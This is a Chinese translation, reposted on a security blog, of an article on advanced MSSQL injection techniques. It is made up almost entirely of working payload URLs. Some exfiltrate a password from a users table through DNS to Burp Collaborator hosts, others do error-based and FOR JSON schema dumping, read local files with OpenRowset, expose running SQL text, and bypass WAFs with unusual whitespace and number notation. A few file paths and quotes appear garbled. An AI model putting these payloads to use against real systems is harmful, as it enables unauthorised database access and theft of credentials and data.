[翻译]一些MSSQL注入的Tricks

admin 2020年11月30日11:46:35评论41 views字数 2906阅读9分41秒阅读模式

本文为翻译文章

原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

作者:PT SWARM Team

[翻译]一些MSSQL注入的Tricks

我们汇总了几种MSSQL注入利用的技术。所有payload均在三个最新版本的Microsoft SQL Server上进行了测试:2019、2017、2016SP2。

DNS带外

如果你碰到的是完完全全的盲注,或者没有回显的堆叠注入,你可以使用fn_xe_file_target_read_filefn_get_audit_filefn_trace_gettable进行oob带外。

fn_xe_file_target_read_file() 例:

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:*.xel','\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net1.xem',null,null))

[翻译]一些MSSQL注入的Tricks

权限:在服务器上需要“VIEW SERVER STATE”权限。

fn_get_audit_file() 例:

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net',default,default)))

[翻译]一些MSSQL注入的Tricks

权限:需要CONTROL SERVER权限

fn_trace_gettable() example:

https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net1.trc',default))

[翻译]一些MSSQL注入的Tricks

权限:需要CONTROL SERVER权限

替换测试报错注入的变量

基于错误的SQL注入通常类似于+AND+1=@@version–之类的构造以及基于OR运算符的变体。包含此类表达式的查询通常被WAF阻止。作为bypass,使用%2b字符连接字符串,并使用特定函数调用的结果,这些函数会触发所需数据的数据类型转换错误。

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

[翻译]一些MSSQL注入的Tricks

快速利用:在一个查询中检索整个表

有两种简单的方法可以在一个查询中检索表的全部内容-使用FOR XML或FOR JSON子句。FOR XML子句需要指定的模式,例如«raw»,因此简短起见,FOR JSON胜过它。

从当前数据库检索模式,表和列的查询:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

[翻译]一些MSSQL注入的Tricks

基于错误的向量需要别名或名称,因为不能将两者的表达式输出格式化为JSON。

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

[翻译]一些MSSQL注入的Tricks

读取本地文件

C:Windowswin.ini使用函数OpenRowset()检索本地文件的示例:

https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:Windowswin.ini’,SINGLE_CLOB)+R(x)),null,null

[翻译]一些MSSQL注入的Tricks

基于错误的向量:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:Windowswin.ini',SINGLE_CLOB)+R(x))--

权限: BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。

爆出当前SQL语句

当前执行的SQL语句可以从sys.dm_exec_requestssys.dm_exec_sql_text中查询:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

[翻译]一些MSSQL注入的Tricks

权限:如果用户在服务器上具有“查看服务器状态”权限,则该用户将在SQL Server实例上看到所有正在执行的会话;否则,用户将仅看到当前会话。

WAF绕过的小技巧

非标准的空白字符:%C2%85 или %C2%A0

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学(0e)和十六进制(0x)表示法,用于混淆UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
 
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

在FROM和列名之间用代替空格:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

SELECT和一次性列之间的N分隔符:

https://vuln.app/getItem?id=0xunion+selectNnull,@@version,null+from+users--

 

分享、点赞、看就是对我们的一种支持!

[翻译]一些MSSQL注入的Tricks


本文始发于微信公众号(ChaBug):[翻译]一些MSSQL注入的Tricks

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月30日11:46:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [翻译]一些MSSQL注入的Trickshttps://cn-sec.com/archives/191951.html

发表评论

匿名网友 填写信息